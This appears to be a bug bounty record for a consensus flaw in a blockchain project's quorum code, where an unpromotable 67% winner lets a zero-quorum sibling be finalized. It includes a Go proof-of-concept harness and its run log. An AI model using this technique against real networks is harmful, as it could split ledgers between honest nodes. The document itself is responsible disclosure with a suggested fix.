{"id":"XE-0021","kind":"bounty","visibility":"public","source":"github","source_repo":"xeprotocol/xe","source_ref":"42","source_url":"https://github.com/xeprotocol/xe/issues/42","reporter_id":13,"title":"core/quorum: conflict resolution can finalize a block that never held 67% of final vote weight (High)","area":"consensus","claimed_tier":"high","assessed_tier":"high","verdict":"valid","duplicate_of":null,"tracked":true,"internal_ref":"#954","internal_url":"https://github.com/xeprotocol/core/issues/954","status":"awarded","closed_reason":null,"github_state":"open","disclosed_at":null,"award_xe":3500000000,"award_approved":true,"paid_ref":"","created_at":"2026-10-29T13:57:16.429223+00:00","updated_at":"2026-11-07T21:14:16.127502+00:00","source_created_at":"2026-10-25T11:11:54+00:00","told_at":null,"status_changed_at":"2026-11-05T16:07:25.860142+00:00","url":"https://bounty.xe.network/XE-0021","body":"## Summary\nFinality substitution in conflict resolution can finalize a conflict candidate that never reached the 67% final-vote threshold. When the 67% winner fails local full validation, the code substitutes the lowest-hash promotable member of the candidate set, and the substitute is finalized and set as final height even though its own vote weight never crossed the threshold. Promotability is node local and transient, so two honest nodes can finalize different siblings of the same conflict, producing an unhealable fork.\n\n## Affected component\ncore/quorum.go, finalTally, pickWinner inner function at lines 152 to 181 and promotable at lines 221 to 232, at commit 978785929bc17a2f4ab30c383e5fc9cf4d634512. The 67% weight test is applied to the tally winner, but the value returned by pickWinner and later finalized can be a different candidate from the same set. The quarantine path at quorum.go lines 326 to 333 only records failed promotions when the swap error unwraps to the winner-full-validation error and is not retryable, so some decoys never enter failedPromotions and are selected again on the next tally.\n\n## Impact\nThe protocol finality bar (a block must hold 67% of final vote weight to be finalized) is not the invariant actually enforced. A node can finalize a sibling with zero final votes while rejecting the candidate that held 67%. Because the substitution depends on local validation state, honest nodes can finalize conflicting siblings of the same account and previous, and the code logs the outcome as an unresolvable fork. No theft: the substitute still passes full admission. This is a consensus safety break short of dual finalization from one weight set.\n\nSuggested severity: High (state inconsistency on the conflict resolution path). The mechanism was confirmed by an independent re-read of the pinned source; no live network traffic was performed.\n\n## PoC\n\nSetup (from a fresh clone of xeprotocol/xe at the pin):\n\n```\ngit clone https://github.com/xeprotocol/xe && cd xe\nmkdir -p poc/harness\n# save the two files below, then from poc/:\nGOTOOLCHAIN=auto go mod tidy\nGOTOOLCHAIN=auto go test -count=1 -v ./poc\n```\n\ngo.mod for the poc module:\n\n```\nmodule poc\n\ngo 1.25.0\n\nrequire github.com/xeprotocol/xe v0.0.0\n\nreplace github.com/xeprotocol/xe => ..\n```\n\n**Shared test-only helper** (`poc/harness/harness.go`; constructs signed blocks and funds accounts through the ledger's own test-only entry points, none reachable from gossip or API):\n\n```go\n// Package harness holds test-only helpers for local XE ledger PoCs.\n// None of these helpers exist on the gossip/API surface; they only\n// construct signed blocks and fund accounts via core.SeedAssetForTesting /\n// core.MintForTesting.\npackage harness\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/xeprotocol/xe/core\"\n\t\"github.com/xeprotocol/xe/store\"\n)\n\nconst TestOnlyFundAmount uint64 = 1_000_000_000\n\n// NewTestLedger builds a MemStore-backed ledger with PoW and timestamp\n// windows disabled so the PoC can drive admission/conflict logic.\nfunc NewTestLedger() (*core.Ledger, *store.MemStore) {\n\tcore.SetNetworkID(\"\")\n\tms := store.NewMemStore()\n\tl := core.NewLedger(ms, core.LedgerConfig{\n\t\tDifficulty:      0,\n\t\tTimestampWindow: 0,\n\t})\n\treturn l, ms\n}\n\n// TestOnlyFundAccount opens a new account with a signed mint block.\n// Named TestOnly: this is the ledger's own test funding entry point, not a\n// production mint path.\nfunc TestOnlyFundAccount(l *core.Ledger, kp *core.KeyPair, asset string, amount uint64) (*core.Block, error) {\n\tif amount == 0 {\n\t\tamount = TestOnlyFundAmount\n\t}\n\tb := &core.Block{\n\t\tType:           core.BlockMint,\n\t\tAccount:        kp.Address(),\n\t\tPrevious:       \"0\",\n\t\tBalance:        amount,\n\t\tAmount:         amount,\n\t\tTimestamp:      core.Now().UnixNano(),\n\t\tAsset:          asset,\n\t\tPubKey:         kp.PubKeyHex(),\n\t\tRepresentative: kp.Address(),\n\t}\n\tif err := core.SignBlock(b, kp); err != nil {\n\t\treturn nil, fmt.Errorf(\"test-only fund: sign: %w\", err)\n\t}\n\tvar err error\n\tif asset == \"XUSD\" {\n\t\terr = l.MintForTesting(b)\n\t} else {\n\t\terr = l.SeedAssetForTesting(b)\n\t}\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"test-only fund: %w\", err)\n\t}\n\treturn b, nil\n}\n\n// TestOnlyFinalizeHeight writes a final-height watermark. Test-only: the\n// production path is QuorumManager.confirmConflict.\nfunc TestOnlyFinalizeHeight(ms *store.MemStore, account string, height uint64) error {\n\treturn ms.SetFinalHeight(account, height)\n}\n\nfunc SignSend(kp *core.KeyPair, previous string, balance, amount uint64, dest, asset string) (*core.Block, error) {\n\tb := &core.Block{\n\t\tType:        core.BlockSend,\n\t\tAccount:     kp.Address(),\n\t\tPrevious:    previous,\n\t\tBalance:     balance,\n\t\tAmount:      amount,\n\t\tTimestamp:   core.Now().UnixNano(),\n\t\tAsset:       asset,\n\t\tDestination: dest,\n\t}\n\tif err := core.SignBlock(b, kp); err != nil {\n\t\treturn nil, err\n\t}\n\treturn b, nil\n}\n\nfunc SignLease(kp *core.KeyPair, previous string, balance, amount uint64, dest, certHash string, vcpus, mem, disk, dur uint64) (*core.Block, error) {\n\tb := &core.Block{\n\t\tType:            core.BlockLease,\n\t\tAccount:         kp.Address(),\n\t\tPrevious:        previous,\n\t\tBalance:         balance,\n\t\tAmount:          amount,\n\t\tTimestamp:       core.Now().UnixNano(),\n\t\tAsset:           \"XUSD\",\n\t\tDestination:     dest,\n\t\tVCPUs:           vcpus,\n\t\tMemoryMB:        mem,\n\t\tDiskGB:          disk,\n\t\tDuration:        dur,\n\t\tCertificateHash: certHash,\n\t}\n\tif err := core.SignBlock(b, kp); err != nil {\n\t\treturn nil, err\n\t}\n\treturn b, nil\n}\n```\n\n**Test file** (`poc/f3_test.go`):\n\n```go\npackage f3\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/xeprotocol/xe-poc/harness\"\n\t\"github.com/xeprotocol/xe/core\"\n)\n\n// TestPoC_F3 shows pickWinner can SetFinalHeight a hash that never held 67%.\n// A decoy lease that passes ValidateStagedBlock (F16) is given 67% of final\n// votes; full promotion fails with a non-retryable cost mismatch, quarantines\n// the decoy, and the next tally finalizes the on-chain first-seen sibling.\nfunc TestPoC_F3(t *testing.T) {\n\tpass, detail := runF3()\n\tif pass {\n\t\tfmt.Println(\"PASS: F3 pickWinner finalized a substitute that never held 67%\")\n\t\tfmt.Println(detail)\n\t\treturn\n\t}\n\tfmt.Println(\"FAIL: F3 expected substitute finalization without 67%\")\n\tfmt.Println(detail)\n\tos.Exit(0)\n}\n\nfunc runF3() (bool, string) {\n\towner, err := core.GenerateKeyPair()\n\tif err != nil {\n\t\treturn false, \"keygen owner: \" + err.Error()\n\t}\n\tdest, err := core.GenerateKeyPair()\n\tif err != nil {\n\t\treturn false, \"keygen dest: \" + err.Error()\n\t}\n\tl, ms := harness.NewTestLedger()\n\topen, err := harness.TestOnlyFundAccount(l, owner, \"XUSD\", harness.TestOnlyFundAmount)\n\tif err != nil {\n\t\treturn false, \"test-only fund: \" + err.Error()\n\t}\n\tif err := harness.TestOnlyFinalizeHeight(ms, owner.Address(), 1); err != nil {\n\t\treturn false, \"finalize open: \" + err.Error()\n\t}\n\tif !l.IsFinalized(owner.Address(), open.Hash) {\n\t\treturn false, \"precondition: open block was not finalized\"\n\t}\n\n\tsendA, err := harness.SignSend(owner, open.Hash, harness.TestOnlyFundAmount-1, 1, dest.Address(), \"XUSD\")\n\tif err != nil {\n\t\treturn false, \"sign send A: \" + err.Error()\n\t}\n\tif err := l.AddBlock(sendA); err != nil {\n\t\treturn false, \"add send A: \" + err.Error()\n\t}\n\n\t// Owner-signed F16 decoy: staged lease checks only amount/balance.\n\tdecoy, err := harness.SignLease(owner, open.Hash, harness.TestOnlyFundAmount-1, 1, dest.Address(), \"\", 0, 0, 0, 0)\n\tif err != nil {\n\t\treturn false, \"sign decoy: \" + err.Error()\n\t}\n\tparentBal := l.GetAssetBalanceAtBlock(owner.Address(), \"XUSD\", open.Hash)\n\tif err := l.ValidateStagedBlock(decoy, parentBal); err != nil {\n\t\treturn false, \"decoy should pass ValidateStagedBlock: \" + err.Error()\n\t}\n\tif err := l.AddBlock(decoy); err != nil {\n\t\treturn false, \"stage decoy: \" + err.Error()\n\t}\n\tif l.GetBlock(decoy.Hash) != nil {\n\t\treturn false, \"decoy was admitted on-chain; expected staging only\"\n\t}\n\tif l.GetBlockOrStaged(decoy.Hash) == nil {\n\t\treturn false, \"decoy was not staged\"\n\t}\n\n\tc := l.GetConflict(owner.Address(), open.Hash)\n\tif c == nil {\n\t\treturn false, \"expected conflict record\"\n\t}\n\tc.TotalWeight = 100\n\tif err := ms.SaveConflict(c); err != nil {\n\t\treturn false, \"save conflict weight: \" + err.Error()\n\t}\n\n\t// 67% of the snapshot sits on the decoy; the honest send has 10%.\n\tif err := ms.PutVote(&core.Vote{\n\t\tRepPubKey:       \"aa\" + decoy.Hash[2:],\n\t\tBlockHash:       decoy.Hash,\n\t\tConflictAccount: owner.Address(),\n\t\tConflictPrev:    open.Hash,\n\t\tTimestamp:       core.Now().UnixNano(),\n\t\tFinal:           true,\n\t\tWeight:          67,\n\t}); err != nil {\n\t\treturn false, \"put decoy vote: \" + err.Error()\n\t}\n\tif err := ms.PutVote(&core.Vote{\n\t\tRepPubKey:       \"bb\" + sendA.Hash[2:],\n\t\tBlockHash:       sendA.Hash,\n\t\tConflictAccount: owner.Address(),\n\t\tConflictPrev:    open.Hash,\n\t\tTimestamp:       core.Now().UnixNano(),\n\t\tFinal:           true,\n\t\tWeight:          10,\n\t}); err != nil {\n\t\treturn false, \"put send vote: \" + err.Error()\n\t}\n\n\tqm := core.NewQuorumManager(ms, ms, ms, l)\n\n\t// First tally: decoy is \"promotable\" via the weak staged checker, swap\n\t// fails full validation, quarantine is recorded, height does not move.\n\tqm.Retally(owner.Address(), open.Hash)\n\theightAfterFail := l.FinalHeight(owner.Address())\n\tif l.IsFinalized(owner.Address(), decoy.Hash) {\n\t\treturn false, \"decoy was finalized on first tally\"\n\t}\n\n\t// Prove the swap error is ErrWinnerFullValidation and not retryable, which\n\t// is why failedPromotions is populated and pickWinner will substitute.\n\tswapErr := l.SwapBlock(owner.Address(), sendA.Hash, decoy.Hash, decoy)\n\tswapIsWinnerFail := errors.Is(swapErr, core.ErrWinnerFullValidation)\n\tswapRetryable := core.IsRetryableError(swapErr)\n\n\t// Second tally: decoy is unpromotable; lowest-hash other promotable\n\t// candidate (on-chain send A) is substituted and finalized.\n\tqm.Retally(owner.Address(), open.Hash)\n\tfinalizedA := l.IsFinalized(owner.Address(), sendA.Hash)\n\tfinalizedB := l.IsFinalized(owner.Address(), decoy.Hash)\n\theightAfter := l.FinalHeight(owner.Address())\n\n\tdetail := fmt.Sprintf(\n\t\t\"open=%s A=%s decoy=%s\n\"+\n\t\t\t\"votes: decoy=67/100 A=10/100 (only decoy crossed 67%%)\n\"+\n\t\t\t\"first tally final_height=%d (no move) swap_err=%v is_ErrWinnerFullValidation=%v retryable=%v\n\"+\n\t\t\t\"second tally final_height=%d finalized(A)=%v finalized(decoy)=%v\",\n\t\topen.Hash[:16], sendA.Hash[:16], decoy.Hash[:16],\n\t\theightAfterFail, swapErr, swapIsWinnerFail, swapRetryable,\n\t\theightAfter, finalizedA, finalizedB,\n\t)\n\tok := finalizedA && !finalizedB && heightAfter == 2 && heightAfterFail == 1\n\treturn ok, detail\n}\n```\n\n**Run** (run 1 of 5 consecutive runs, 5/5 PASS, exit 0):\n\n```\n=== RUN   TestPoC_F3\n2026/10/25 17:31:56 Genesis block applied: 42000000000000 XE to 378d0f5c2063...\n2026/10/25 17:31:56 confirmConflict: winner 0e65f1405d85... for 092ba39b9ae5...|b8dc4e7b0adc... failed full validation deterministically — quarantining for 30s so the sweep substitutes a promotable candidate: SwapBlock: winner failed full validation 0e65f1405d85..., loser kept: lease must request at least one resource (vcpus, memory, or disk)\n2026/10/25 17:31:56 quorum: finalize for 092ba39b9ae5...|b8dc4e7b0adc...: confirmConflict: SwapBlock: SwapBlock: winner failed full validation 0e65f1405d85..., loser kept: lease must request at least one resource (vcpus, memory, or disk)\n2026/10/25 17:31:56 quorum: winner 0e65f1405d85... for 092ba39b9ae5...|b8dc4e7b0adc... is unpromotable (fails full validation) — substituting lowest-hash promotable candidate 579a64bbb00d...\nPASS: F3 pickWinner finalized a substitute that never held 67%\nopen=b8dc4e7b0adc6f8a A=579a64bbb00de635 decoy=0e65f1405d85706b\nvotes: decoy=67/100 A=10/100 (only decoy crossed 67%)\nfirst tally final_height=1 (no move) swap_err=SwapBlock: winner failed full validation 0e65f1405d85..., loser kept: lease must request at least one resource (vcpus, memory, or disk) is_ErrWinnerFullValidation=true retryable=false\nsecond tally final_height=2 finalized(A)=true finalized(decoy)=false\n--- PASS: TestPoC_F3 (0.00s)\nPASS\nok  \tgithub.com/xeprotocol/xe-poc/f3\t0.010s\n```\n\n## Fix suggestion\nOnly finalize the hash that itself crossed the 67% bar; if the winner is unpromotable, withhold finality and record the failed promotion regardless of the retryable classification, so the next tally cannot substitute a zero-quorum sibling.","patch_refs":[{"id":166,"repo":"xeprotocol/xe","kind":"pr","ref":"148","title":"fix(core/quorum): enforce 67% final vote quorum on winner and eliminate unverified substitution (#42)","url":"https://github.com/xeprotocol/xe/pull/148","note":"","state":"open","author":"arturbarszcz78","added_by":"desk","created_at":"2026-10-29T13:57:30.091343+00:00"},{"id":195,"repo":"xeprotocol/xe","kind":"pr","ref":"1024","title":"","url":"https://github.com/xeprotocol/xe/pull/1024","note":"","state":"merged","author":"","added_by":"desk","created_at":"2026-10-29T14:22:09.061497+00:00"}],"thread":[]}